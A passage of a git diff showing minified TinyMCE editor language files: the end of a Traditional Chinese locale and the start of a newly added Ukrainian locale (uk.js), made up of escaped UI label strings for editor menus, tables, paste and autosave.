percentage",value:"(value)"},contextmenu:{full:"\u5de6\u53f3\u5c0d\u9f4a",right:"\u9760\u53f3\u5c0d\u9f4a",center:"\u7f6e\u4e2d\u5c0d\u9f4a",left:"\u9760\u5de6\u5c0d\u9f4a",align:"\u5c0d\u9f4a"},insertdatetime:{"day_short":"\u9031\u65e5,\u9031\u4e00,\u9031\u4e8c,\u9031\u4e09,\u9031\u56db,\u9031\u4e94,\u9031\u516d,\u9031\u65e5","day_long":"\u661f\u671f\u65e5,\u661f\u671f\u4e00,\u661f\u671f\u4e8c,\u661f\u671f\u4e09,\u661f\u671f\u56db,\u661f\u671f\u4e94,\u661f\u671f\u516d,\u661f\u671f\u65e5","months_short":"1\u6708,2\u6708,3\u6708,4\u6708,5\u6708,6\u6708,7\u6708,8\u6708,9\u6708,10\u6708,11\u6708,12\u6708","months_long":"\u4e00\u6708,\u4e8c\u6708,\u4e09\u6708,\u56db\u6708,\u4e94\u6708,\u516d\u6708,\u4e03\u6708,\u516b\u6708,\u4e5d\u6708,\u5341\u6708,\u5341\u4e00\u6708,\u5341\u4e8c\u6708","inserttime_desc":"\u63d2\u5165\u76ee\u524d\u6642\u9593","insertdate_desc":"\u63d2\u5165\u76ee\u524d\u65e5\u671f","time_fmt":"%H:%M:%S","date_fmt":"%Y/%m/%d"},print:{"print_desc":"\u5217\u5370"},preview:{"preview_desc":"\u9810\u89bd"},directionality:{"rtl_desc":"\u5f9e\u53f3\u5230\u5de6","ltr_desc":"\u5f9e\u5de6\u5230\u53f3"},layer:{content:"\u65b0\u5efa\u5716\u5c64...","absolute_desc":"\u5207\u63db\u5230\u7d55\u5c0d\u4f4d\u7f6e","backward_desc":"\u7f6e\u5f8c","forward_desc":"\u7f6e\u524d","insertlayer_desc":"\u63d2\u5165\u5716\u5c64"},save:{"save_desc":"\u5b58\u6a94","cancel_desc":"\u53d6\u6d88\u6240\u6709\u8b8a\u66f4"},nonbreaking:{"nonbreaking_desc":"\u63d2\u5165\u7a7a\u683c"},iespell:{download:"\u6aa2\u67e5\u4e0d\u5230ieSpell\u5916\u639b\u7a0b\u5f0f\u7a0b\u5f0f\uff0c\u662f\u5426\u7acb\u5373\u5b89\u88dd\uff1f","iespell_desc":"\u62fc\u5b57\u6aa2\u67e5"},advhr:{"advhr_desc":"\u6c34\u5e73\u7dda","delta_height":"","delta_width":""},emotions:{"emotions_desc":"\u8868\u60c5","delta_height":"","delta_width":""},searchreplace:{"replace_desc":"\u641c\u5c0b/\u53d6\u4ee3","search_desc":"\u641c\u5c0b","delta_width":"","delta_height":""},advimage:{"image_desc":"\u63d2\u5165/\u7de8\u8f2f\u5716\u7247","delta_width":"","delta_height":""},advlink:{"link_desc":"\u63d2\u5165/\u7de8\u8f2f\u8d85\u9023\u7d50","delta_height":"","delta_width":""},xhtmlxtras:{"attribs_delta_height":"60","attribs_delta_width":"40","attribs_desc":"\u63d2\u5165/\u7de8\u8f2f\u5c6c\u6027","ins_desc":"\u63d2\u5165","del_desc":"\u522a\u9664","acronym_desc":"\u9996\u5b57\u6bcd\u7e2e\u5beb","abbr_desc":"\u7e2e\u5beb","cite_desc":"\u5f15\u7528","ins_delta_height":"","ins_delta_width":"","del_delta_height":"","del_delta_width":"","acronym_delta_height":"","acronym_delta_width":"","abbr_delta_height":"","abbr_delta_width":"","cite_delta_height":"","cite_delta_width":""},style:{desc:"\u7de8\u8f2f CSS \u6a23\u5f0f\u8868","delta_height":"","delta_width":""},paste:{"plaintext_mode":"\u76ee\u524d\u70ba\u4e00\u822c\u8cbc\u4e0a\u6a21\u5f0f\uff0c\u518d\u9ede\u9ede\u95b1\u4e00\u6b21\u5207\u63db\u56de\u7d14\u6587\u5b57\u8cbc\u4e0a\u6a21\u5f0f\u3002","plaintext_mode_sticky":"\u76ee\u524d\u70ba\u7d14\u6587\u5b57\u8cbc\u4e0a\u6a21\u5f0f\uff0c\u518d\u9ede\u95b1\u4e00\u6b21\u5207\u63db\u56de\u4e00\u822c\u6a21\u5f0f\u3002","selectall_desc":"\u5168\u9078","paste_word_desc":"\u4ee5Word\u683c\u5f0f\u8cbc\u4e0a","paste_text_desc":"\u4ee5\u7d14\u6587\u5b57\u8cbc\u4e0a"},"paste_dlg":{"word_title":"\u7528 Ctrl+V \u5c07\u5167\u5bb9\u8cbc\u4e0a\u3002","text_linebreaks":"\u4fdd\u7559\u63db\u884c\u7b26\u865f","text_title":"\u7528 Ctrl+V \u5c07\u5167\u5bb9\u8cbc\u4e0a\u3002"},table:{"merge_cells_delta_height":"40","merge_cells_delta_width":"40","table_delta_height":"60","table_delta_width":"40","cellprops_delta_height":"10","cellprops_delta_width":"10",cell:"\u5132\u5b58\u683c",col:"\u6b04",row:"\u884c",del:"\u522a\u9664\u8868\u683c","copy_row_desc":"\u8907\u88fd\u9078\u64c7\u884c","cut_row_desc":"\u526a\u4e0b\u9078\u64c7\u884c","paste_row_after_desc":"\u5728\u4e0b\u65b9\u8cbc\u4e0a\u884c","paste_row_before_desc":"\u5728\u4e0a\u65b9\u8cbc\u4e0a\u884c","props_desc":"\u8868\u683c\u5c6c\u6027","cell_desc":"\u5132\u5b58\u683c\u5c6c\u6027","row_desc":"\u884c\u5c6c\u6027","merge_cells_desc":"\u5408\u4f75\u5132\u5b58\u683c","split_cells_desc":"\u5206\u5272\u5132\u5b58\u683c","delete_col_desc":"\u522a\u9664\u76ee\u524d\u6b04","col_after_desc":"\u5728\u53f3\u5074\u63d2\u5165\u6b04","col_before_desc":"\u5728\u5de6\u5074\u63d2\u5165\u6b04","delete_row_desc":"\u522a\u9664\u76ee\u524d\u884c","row_after_desc":"\u5728\u4e0b\u65b9\u63d2\u5165\u884c","row_before_desc":"\u5728\u4e0a\u65b9\u63d2\u5165\u884c",desc:"\u63d2\u5165\u65b0\u8868\u683c","rowprops_delta_height":"","rowprops_delta_width":""},autosave:{"warning_message":"\u5982\u679c\u6062\u5fa9\u5148\u524d\u5132\u5b58\u7684\u5167\u5bb9\uff0c\u60a8\u5c07\u5931\u53bb\u7de8\u8f2f\u5668\u4e2d\u73fe\u6709\u7684\u5167\u5bb9\u3002 \n\n\u60a8\u78ba\u5b9a\u8981\u6062\u5fa9\u5148\u524d\u5132\u5b58\u7684\u5167\u5bb9\u55ce\uff1f","restore_content":"\u6062\u5fa9\u81ea\u52d5\u5132\u5b58\u7684\u5167\u5bb9\u3002","unload_msg":"\u60a8\u5c1a\u672a\u5132\u5b58\u8cc7\u6599\uff0c\u60a8\u8f38\u5165\u7684\u8cc7\u6599\u53ef\u80fd\u6703\u907a\u5931..."},fullscreen:{desc:"\u5168\u87a2\u5e55\u7de8\u8f2f"},media:{edit:"\u7de8\u8f2f\u5f71\u7247",desc:"\u63d2\u5165/\u7de8\u8f2f\u5f71\u7247","delta_height":"","delta_width":""},fullpage:{desc:"\u6a94\u6848\u5c6c\u6027","delta_width":"","delta_height":""},template:{desc:"\u63d2\u5165\u9810\u8a2d\u6a21\u677f"},visualchars:{desc:"\u986f\u793a/\u96b1\u85cf\u4e0d\u53ef\u898b\u5b57\u5143"},spellchecker:{desc:"\u958b\u95dc\u62fc\u5b57\u6aa2\u67e5",menu:"\u62fc\u5b57\u6aa2\u67e5\u8a2d\u5b9a","ignore_word":"\u5ffd\u7565","ignore_words":"\u5168\u90e8\u5ffd\u7565",langs:"\u8a9e\u8a00",wait:"\u8acb\u7a0d\u5019...",sug:"\u5efa\u8b70","no_sug":"\u7121\u5efa\u8b70","no_mpell":"\u7121\u62fc\u5b57\u932f\u8aa4","learn_word":"Learn word"},pagebreak:{desc:"\u63d2\u5165\u5206\u9801\u7b26\u865f"},advlist:{types:"\u6a23\u5f0f",def:"\u9810\u8a2d","lower_alpha":"\u5c0f\u5beb\u7684\u82f1\u6587\u5b57","lower_greek":"\u5c0f\u5beb\u7684\u5e0c\u81d8\u6587\u5b57","lower_roman":"\u5c0f\u5beb\u7684\u7f85\u99ac\u6578\u5b57","upper_alpha":"\u5927\u5beb\u7684\u82f1\u6587\u5b57","upper_roman":"\u5927\u5beb\u7684\u7f85\u99ac\u6578\u5b57",circle:"\u5713\u5708",disc:"\u5713\u9ede",square:"\u65b9\u584a"},colors:{"333300":"Dark olive","993300":"Burnt orange","000000":"Black","003300":"Dark green","003366":"Dark azure","000080":"Navy Blue","333399":"Indigo","333333":"Very dark gray","800000":"Maroon",FF6600:"Orange","808000":"Olive","008000":"Green","008080":"Teal","0000FF":"Blue","666699":"Grayish blue","808080":"Gray",FF0000:"Red",FF9900:"Amber","99CC00":"Yellow green","339966":"Sea green","33CCCC":"Turquoise","3366FF":"Royal blue","800080":"Purple","999999":"Medium gray",FF00FF:"Magenta",FFCC00:"Gold",FFFF00:"Yellow","00FF00":"Lime","00FFFF":"Aqua","00CCFF":"Sky blue","993366":"Brown",C0C0C0:"Silver",FF99CC:"Pink",FFCC99:"Peach",FFFF99:"Light yellow",CCFFCC:"Pale green",CCFFFF:"Pale cyan","99CCFF":"Light sky blue",CC99FF:"Plum",FFFFFF:"White"},aria:{"rich_text_area":"Rich Text Area"},wordcount:{words:"Words"}}}); \ No newline at end of file diff --git a/js/tiny_mce/langs/uk.js b/js/tiny_mce/langs/uk.js new file mode 100755 index 0000000..be34868 --- /dev/null +++ b/js/tiny_mce/langs/uk.js @@ -0,0 +1 @@ +tinyMCE.addI18n({uk:{common:{"more_colors":"\u0411\u0456\u043b\u044c\u0448\u0435 \u043a\u043e\u043b\u044c\u043e\u0440\u0456\u0432","invalid_data":"\u041f\u043e\u043c\u0438\u043b\u043a\u0430: \u0412\u0432\u0435\u0434\u0435\u043d\u043e \u043f\u043e\u043c\u0438\u043b\u043a\u043e\u0432\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044f, \u0432\u0456\u0434\u043c\u0456\u0447\u0435\u043d\u0435 \u0447\u0435\u0440\u0432\u043e\u043d\u0438\u043c.","popup_blocked":"\u0414\u0443\u0436\u0435 \u043f\u0440\u0438\u043a\u0440\u043e, \u0430\u043b\u0435 \u0432\u0430\u0448 \u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u0437\u0430\u0431\u043b\u043e\u043a\u0443\u0432\u0430\u0432 \u0432\u0438\u0440\u0438\u043d\u0430\u044e\u0447\u0435 \u0432\u0456\u043a\u043d\u043e. \u0411\u0443\u0434\u044c \u043b\u0430\u0441\u043a\u0430, \u043d\u0430\u043b\u0430\u0448\u0442\u0443\u0439\u0442\u0435 \u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u0442\u0430\u043a, \u0449\u043e\u0431 \u0432\u0456\u043d \u0434\u043e\u0437\u0432\u043e\u043b\u044f\u0432 \u0432\u0438\u0440\u0438\u043d\u0430\u044e\u0447\u0456 \u0432\u0456\u043a\u043d\u0430 \u0437 \u0446\u044c\u043e\u0433\u043e \u0441\u0430\u0439\u0442\u0443.","clipboard_no_support":"\u041d\u0430\u0440\u0430\u0437\u0456 \u0446\u044f \u0444\u0443\u043d\u043a\u0446\u0456\u044f \u043d\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u0432 \u0432\u0430\u0448\u043e\u043c\u0443 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0456, \u0430\u043b\u0435 \u0432\u0438 \u043c\u043e\u0436\u0435\u0442\u0435 \u0432\u0438\u043a\u043e\u0440\u0438\u0441\u0442\u043e\u0432\u0443\u0432\u0430\u0442\u0438 \u043a\u043b\u0430\u0432\u0456\u0430\u0442\u0443\u0440\u0443 \u0437\u0430\u043c\u0456\u0441\u0442\u044c \u0446\u044c\u043e\u0433\u043e.","clipboard_msg":"\u041a\u043e\u043f\u0456\u044e\u0432\u0430\u0442\u0438/\u0412\u0438\u0440\u0456\u0437\u0430\u0442\u0438/\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u043d\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e \u0432 Mozilla \u0442\u0430 Firefox.\n\u0412\u0430\u043c \u0446\u0456\u043a\u0430\u0432\u0430 \u0456\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0456\u044f \u043f\u0440\u043e \u0446\u0435?","not_set":"-- \u043d\u0435 \u0432\u0438\u0431\u0440\u0430\u043d\u043e --","class_name":"\u041a\u043b\u0430\u0441",browse:"\u041f\u0435\u0440\u0435\u0433\u043b\u044f\u0434",close:"\u0417\u0430\u043a\u0440\u0438\u0442\u0438",cancel:"\u0412\u0456\u0434\u043c\u0456\u043d\u0438\u0442\u0438",update:"\u041e\u043d\u043e\u0432\u0438\u0442\u0438",insert:"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438",apply:"\u0417\u0430\u0441\u0442\u043e\u0441\u0443\u0432\u0430\u0442\u0438","edit_confirm":"\u0412\u0438 \u0431\u0430\u0436\u0430\u0454\u0442\u0435 \u0432\u0438\u043a\u043e\u0440\u0438\u0441\u0442\u043e\u0432\u0443\u0432\u0430\u0442\u0438 WYSIWYG \u0440\u0435\u0436\u0438\u043c \u0434\u043b\u044f \u0446\u044c\u043e\u0433\u043e \u043f\u043e\u043b\u044f?","invalid_data_number":"{#field} \u043f\u043e\u0432\u0438\u043d\u043d\u0435 \u0431\u0443\u0442\u0438 \u0447\u0438\u0441\u043b\u043e\u043c","invalid_data_min":"{#field} \u0447\u0438\u0441\u043b\u043e \u043f\u043e\u0432\u0438\u043d\u043d\u0435 \u0431\u0443\u0442\u0438 \u0431\u0456\u043b\u044c\u0448\u0435 \u043d\u0456\u0436 {#min}","invalid_data_size":"{#field} \u043f\u043e\u0432\u0438\u043d\u043d\u0435 \u0431\u0443\u0442\u0438 \u0447\u0438\u0441\u043b\u043e\u043c \u0430\u0431\u043e \u0432\u0456\u0434\u0441\u043e\u0442\u043a\u043e\u043c",value:"(value)"},contextmenu:{full:"\u041f\u043e \u0448\u0438\u0440\u0438\u043d\u0456",right:"\u041f\u043e \u043f\u0440\u0430\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e",center:"\u041f\u043e \u0446\u0435\u043d\u0442\u0440\u0443",left:"\u041f\u043e \u043b\u0456\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e",align:"\u0412\u0438\u0440\u0456\u0432\u043d\u044e\u0432\u0430\u043d\u043d\u044f"},insertdatetime:{"day_short":"\u041d\u0434,\u041f\u043d,\u0412\u0442,\u0421\u0440,\u0427\u0442,\u041f\u0442,\u0421\u0431,\u041d\u0434","day_long":"\u041d\u0435\u0434\u0456\u043b\u044f,\u041f\u043e\u043d\u0435\u0434\u0456\u043b\u043e\u043a,\u0412\u0456\u0432\u0442\u043e\u0440\u043e\u043a,\u0421\u0435\u0440\u0435\u0434\u0430,\u0427\u0435\u0442\u0432\u0435\u0440,\u041f\'\u044f\u0442\u043d\u0438\u0446\u044f,\u0421\u0443\u0431\u043e\u0442\u0430,\u041d\u0435\u0434\u0456\u043b\u044f","months_short":"\u0421\u0456\u0447,\u041b\u044e\u0442,\u0411\u0435\u0440,\u041a\u0432\u0456,\u0422\u0440\u0430,\u0427\u0435\u0440,\u041b\u0438\u043f,\u0421\u0435\u0440,\u0412\u0435\u0440,\u0416\u043e\u0432,\u041b\u0438\u0441,\u0413\u0440\u0443","months_long":"\u0421\u0456\u0447\u0435\u043d\u044c,\u041b\u044e\u0442\u0438\u0439,\u0411\u0435\u0440\u0435\u0437\u0435\u043d\u044c,\u041a\u0432\u0456\u0442\u0435\u043d\u044c,\u0422\u0440\u0430\u0432\u0435\u043d\u044c,\u0427\u0435\u0440\u0432\u0435\u043d\u044c,\u041b\u0438\u043f\u0435\u043d\u044c,\u0421\u0435\u0440\u043f\u0435\u043d\u044c,\u0412\u0435\u0440\u0435\u0441\u0435\u043d\u044c,\u0416\u043e\u0432\u0442\u0435\u043d\u044c,\u041b\u0438\u0441\u0442\u043e\u043f\u0430\u0434,\u0413\u0440\u0443\u0434\u0435\u043d\u044c","inserttime_desc":"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u0447\u0430\u0441","insertdate_desc":"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u0434\u0430\u0442\u0443","time_fmt":"%H:%M:%S","date_fmt":"%d.%m.%Y"},print:{"print_desc":"\u0414\u0440\u0443\u043a\u0443\u0432\u0430\u0442\u0438"},preview:{"preview_desc":"\u041f\u0435\u0440\u0435\u0433\u043b\u044f\u0434"},directionality:{"rtl_desc":"\u041d\u0430\u043f\u0440\u044f\u043c \u0441\u043f\u0440\u0430\u0432\u0430 \u043d\u0430\u043b\u0456\u0432\u043e","ltr_desc":"\u041d\u0430\u043f\u0440\u044f\u043c \u0437\u043b\u0456\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043e"},layer:{content:"\u041d\u043e\u0432\u0438\u0439 \u043f\u0440\u043e\u0448\u0430\u0440\u043e\u043a...","absolute_desc":"\u041f\u0435\u0440\u0435\u043c\u0438\u043a\u043d\u0443\u0442\u0438 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u0435 \u043f\u043e\u0437\u0438\u0446\u0456\u044e\u0432\u0430\u043d\u043d\u044f","backward_desc":"\u041f\u0435\u0440\u0435\u043c\u0456\u0441\u0442\u0438\u0442\u0438 \u043d\u0430\u0437\u0430\u0434","forward_desc":"\u041f\u0435\u0440\u0435\u043c\u0456\u0441\u0442\u0438\u0442\u0438 \u0432\u043f\u0435\u0440\u0435\u0434","insertlayer_desc":"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u043d\u043e\u0432\u0438\u0439 \u043f\u0440\u043e\u0448\u0430\u0440\u043e\u043a"},save:{"save_desc":"\u0417\u0431\u0435\u0440\u0435\u0433\u0442\u0438","cancel_desc":"\u0412\u0456\u0434\u043c\u0456\u043d\u0438\u0442\u0438 \u0432\u0441\u0456 \u0437\u043c\u0456\u043d\u0438"},nonbreaking:{"nonbreaking_desc":"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u043d\u0435\u0440\u043e\u0437\u0440\u0438\u0432\u043d\u0438\u0439 \u043f\u0440\u043e\u043c\u0456\u0436\u043e\u043a"},iespell:{download:"\u0414\u043e\u0434\u0430\u0442\u043e\u043a ieSpell \u043d\u0435 \u0437\u043d\u0430\u0439\u0434\u0435\u043d\u043e. \u0411\u0430\u0436\u0430\u0454\u0442\u0435 \u0432\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0438?","iespell_desc":"\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u0438 \u043f\u0435\u0440\u0435\u0432\u0456\u0440\u043a\u0443 \u043e\u0440\u0444\u043e\u0433\u0440\u0430\u0444\u0456\u0457"},advhr:{"advhr_desc":"\u0413\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u0438\u0439 \u0440\u043e\u0437\u0434\u0456\u043b\u044c\u043d\u0438\u043a","delta_height":"","delta_width":""},emotions:{"emotions_desc":"\u0421\u043c\u0430\u0439\u043b\u0438","delta_height":"","delta_width":""},searchreplace:{"replace_desc":"\u0428\u0443\u043a\u0430\u0442\u0438/\u0417\u0430\u043c\u0456\u043d\u0438\u0442\u0438","search_desc":"\u0428\u0443\u043a\u0430\u0442\u0438","delta_width":"","delta_height":""},advimage:{"delta_width":"200","image_desc":"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438/\u0437\u043c\u0456\u043d\u0438\u0442\u0438 \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f","delta_height":""},advlink:{"delta_width":"200","link_desc":"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438/\u0437\u043c\u0456\u043d\u0438\u0442\u0438 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f","delta_height":""},xhtmlxtras:{"attribs_desc":"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438/\u0437\u043c\u0456\u043d\u0438\u0442\u0438 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0438","ins_desc":"\u0412\u0441\u0442\u0430\u0432\u043a\u0430","del_desc":"\u0412\u0438\u0434\u0430\u043b\u0435\u043d\u043d\u044f","acronym_desc":"\u0410\u043a\u0440\u043e\u043d\u0456\u043c","abbr_desc":"\u0410\u0431\u0440\u0435\u0432\u0456\u0430\u0442\u0443\u0440\u0430","cite_desc":"\u0426\u0438\u0442\u0430\u0442\u0430","attribs_delta_height":"","attribs_delta_width":"","ins_delta_height":"","ins_delta_width":"","del_delta_height":"","del_delta_width":"","acronym_delta_height":"","acronym_delta_width":"","abbr_delta_height":"","abbr_delta_width":"","cite_delta_height":"","cite_delta_width":""},style:{desc:"\u0420\u0435\u0434\u0430\u0433\u0443\u0432\u0430\u0442\u0438 CSS \u0441\u0442\u0438\u043b\u044c","delta_height":"","delta_width":""},paste:{"plaintext_mode":"\u0412 \u0434\u0430\u043d\u0438\u0439 \u0447\u0430\u0441 \u0412\u0441\u0442\u0430\u0432\u043a\u0430 \u0432 \u0440\u0435\u0436\u0438\u043c\u0456 \u0437\u0432\u0438\u0447\u0430\u0439\u043d\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0443. \u041d\u0430\u0442\u0438\u0441\u043d\u0456\u0442\u044c \u0437\u043d\u043e\u0432\u0443 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u043c\u0438\u043a\u0430\u043d\u043d\u044f \u043d\u0430\u0437\u0430\u0434 \u0432 \u0437\u0432\u0438\u0447\u0430\u0439\u043d\u0438\u0439 \u0440\u0435\u0436\u0438\u043c \u0412\u0441\u0442\u0430\u0432\u043a\u0438.","plaintext_mode_sticky":"\u0412 \u0434\u0430\u043d\u0438\u0439 \u0447\u0430\u0441 \u0412\u0441\u0442\u0430\u0432\u043a\u0430 \u0432 \u0440\u0435\u0436\u0438\u043c\u0456 \u0437\u0432\u0438\u0447\u0430\u0439\u043d\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0443. \u041d\u0430\u0442\u0438\u0441\u043d\u0456\u0442\u044c \u0437\u043d\u043e\u0432\u0443 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u043c\u0438\u043a\u0430\u043d\u043d\u044f \u043d\u0430\u0437\u0430\u0434 \u0432 \u0437\u0432\u0438\u0447\u0430\u0439\u043d\u0438\u0439 \u0440\u0435\u0436\u0438\u043c \u0412\u0441\u0442\u0430\u0432\u043a\u0438.. \u041f\u0456\u0441\u043b\u044f \u0442\u043e\u0433\u043e, \u044f\u043a \u0412\u0438 \u0449\u043e-\u043d\u0435\u0431\u0443\u0434\u044c \u0432\u0441\u0442\u0430\u0432\u0438\u0442\u0435, \u0412\u0438 \u043f\u043e\u0432\u0435\u0440\u043d\u0435\u0442\u0435\u0441\u044c \u0432 \u0437\u0432\u0438\u0447\u0430\u0439\u043d\u043c\u0439 \u0440\u0435\u0436\u0438\u043c \u0412\u0441\u0442\u0430\u0432\u043a\u0438.","selectall_desc":"\u0412\u0438\u0434\u0456\u043b\u0438\u0442\u0438 \u0432\u0441\u0435","paste_word_desc":"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u0437 Word","paste_text_desc":"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u044f\u043a \u0442\u0435\u043a\u0441\u0442"},"paste_dlg":{"word_title":"\u0412\u0438\u043a\u043e\u0440\u0438\u0441\u0442\u043e\u0432\u0443\u0439\u0442\u0435 CTRL+V \u0434\u043b\u044f \u0432\u0441\u0442\u0430\u0432\u043a\u0438 \u0442\u0435\u043a\u0441\u0442\u0443 \u0443 \u0432\u0456\u043a\u043d\u043e.","text_linebreaks":"\u0417\u0431\u0435\u0440\u0456\u0433\u0430\u0442\u0438 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438 \u0440\u044f\u0434\u043a\u0456\u0432","text_title":"\u0412\u0438\u043a\u043e\u0440\u0438\u0441\u0442\u043e\u0432\u0443\u0439\u0442\u0435 CTRL+V \u0434\u043b\u044f \u0432\u0441\u0442\u0430\u0432\u043a\u0438 \u0442\u0435\u043a\u0441\u0442\u0443 \u0443 \u0432\u0456\u043a\u043d\u043e."},table:{"cellprops_delta_width":"30",cell:"\u041a\u043e\u043c\u0456\u0440\u043a\u0430",col:"\u0421\u0442\u043e\u0432\u043f\u0435\u0446\u044c",row:"\u0420\u044f\u0434\u043e\u043a",del:"\u0412\u0438\u0434\u0430\u043b\u0438\u0442\u0438 \u0442\u0430\u0431\u043b\u0438\u0446\u044e","copy_row_desc":"\u041a\u043e\u043f\u0456\u044e\u0432\u0430\u0442\u0438 \u0440\u044f\u0434\u043e\u043a \u0442\u0430\u0431\u043b\u0438\u0446\u0456","cut_row_desc":"\u0412\u0438\u0440\u0456\u0437\u0430\u0442\u0438 \u0440\u044f\u0434\u043e\u043a \u0442\u0430\u0431\u043b\u0438\u0446\u0456","paste_row_after_desc":"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u0440\u044f\u0434\u043e\u043a \u043f\u0456\u0441\u043b\u044f","paste_row_before_desc":"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u0440\u044f\u0434\u043e\u043a \u0434\u043e","props_desc":"\u0412\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456 \u0442\u0430\u0431\u043b\u0438\u0446\u0456","cell_desc":"\u0412\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456 \u043a\u043e\u043c\u0456\u0440\u043a\u0438 \u0442\u0430\u0431\u043b\u0438\u0446\u0456","row_desc":"\u0412\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456 \u0440\u044f\u0434\u043a\u0443 \u0442\u0430\u0431\u043b\u0438\u0446\u0456","merge_cells_desc":"\u041e\u0431\'\u0454\u0434\u043d\u0430\u0442\u0438 \u043a\u043e\u043c\u0456\u0440\u043a\u0438","split_cells_desc":"\u0420\u043e\u0437\u0434\u0456\u043b\u0438\u0442\u0438 \u043a\u043e\u043c\u0456\u0440\u043a\u0438","delete_col_desc":"\u0412\u0438\u0434\u0430\u043b\u0438\u0442\u0438 \u0441\u0442\u043e\u0432\u043f\u0435\u0446\u044c","col_after_desc":"\u0414\u043e\u0434\u0430\u0442\u0438 \u0441\u0442\u043e\u0432\u043f\u0435\u0446\u044c \u043f\u0456\u0441\u043b\u044f","col_before_desc":"\u0414\u043e\u0434\u0430\u0442\u0438 \u0441\u0442\u043e\u0432\u043f\u0435\u0446\u044c \u0434\u043e","delete_row_desc":"\u0412\u0438\u0434\u0430\u043b\u0438\u0442\u0438 \u0440\u044f\u0434\u043e\u043a","row_after_desc":"\u0414\u043e\u0434\u0430\u0442\u0438 \u0440\u044f\u0434\u043e\u043a \u043f\u0456\u0441\u043b\u044f","row_before_desc":"\u0414\u043e\u0434\u0430\u0442\u0438 \u0440\u044f\u0434\u043e\u043a \u0434\u043e",desc:"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u043d\u043e\u0432\u0443 \u0442\u0430\u0431\u043b\u0438\u0446\u044e","merge_cells_delta_height":"","merge_cells_delta_width":"","table_delta_height":"","table_delta_width":"","cellprops_delta_height":"","rowprops_delta_height":"","rowprops_delta_width":""},autosave:{"warning_message":"\u042f\u043a\u0449\u043e \u0432\u0456\u0434\u043d\u043e\u0432\u0438\u0442\u0438 \u0437\u0431\u0435\u0440\u0435\u0436\u0435\u043d\u0438\u0439 \u0432\u043c\u0456\u0441\u0442, \u0442\u043e \u0432\u0438 \u0432\u0442\u0440\u0430\u0442\u0438\u0442\u0435 \u0432\u0435\u0441\u044c \u0432\u043c\u0456\u0441\u0442, \u044f\u043a\u0438\u0439 \u0432 \u0434\u0430\u043d\u0438\u0439 \u0447\u0430\u0441 \u0437\u043d\u0430\u0445\u043e\u0434\u0438\u0442\u044c\u0441\u044f \u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0456. \n\n\u0412\u0438 \u0432\u043f\u0435\u0432\u043d\u0435\u043d\u0456, \u0449\u043e \u0445\u043e\u0447\u0435\u0442\u0435 \u0432\u0456\u0434\u043d\u043e\u0432\u0438\u0442\u0438 \u0437\u0431\u0435\u0440\u0435\u0436\u0435\u043d\u0438\u0439 \u0437\u043c\u0456\u0441\u0442?.","restore_content":"\u0412\u0456\u0434\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u043d\u043e \u0437\u0431\u0435\u0440\u0435\u0436\u0435\u043d\u043e\u0433\u043e \u0432\u043c\u0456\u0441\u0442\u0443.","unload_msg":"\u0417\u043c\u0456\u043d\u0438, \u044f\u043a\u0456 \u0432\u0438 \u0437\u0440\u043e\u0431\u0438\u043b\u0438, \u0431\u0443\u0434\u0443\u0442\u044c \u0432\u0442\u0440\u0430\u0447\u0435\u043d\u0456, \u044f\u043a\u0449\u043e \u0432\u0438 \u043f\u0435\u0440\u0435\u0439\u0434\u0435\u0442\u0435 \u0437 \u0446\u0456\u0454\u0457 \u0441\u0442\u043e\u0440\u0456\u043d\u043a\u0438."},fullscreen:{desc:"\u041f\u0435\u0440\u0435\u043c\u043a\u043d\u0443\u0442\u0438 \u043d\u0430 \u0432\u0435\u0441\u044c \u0435\u043a\u0440\u0430\u043d"},media:{edit:"\u0420\u0435\u0434\u0430\u0433\u0443\u0432\u0430\u0442\u0438 \u0432\u0431\u0443\u0434\u043e\u0432\u0430\u043d\u0456 \u043c\u0435\u0434\u0456\u0430",desc:"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 / \u0440\u0435\u0434\u0430\u0433\u0443\u0432\u0430\u0442\u0438 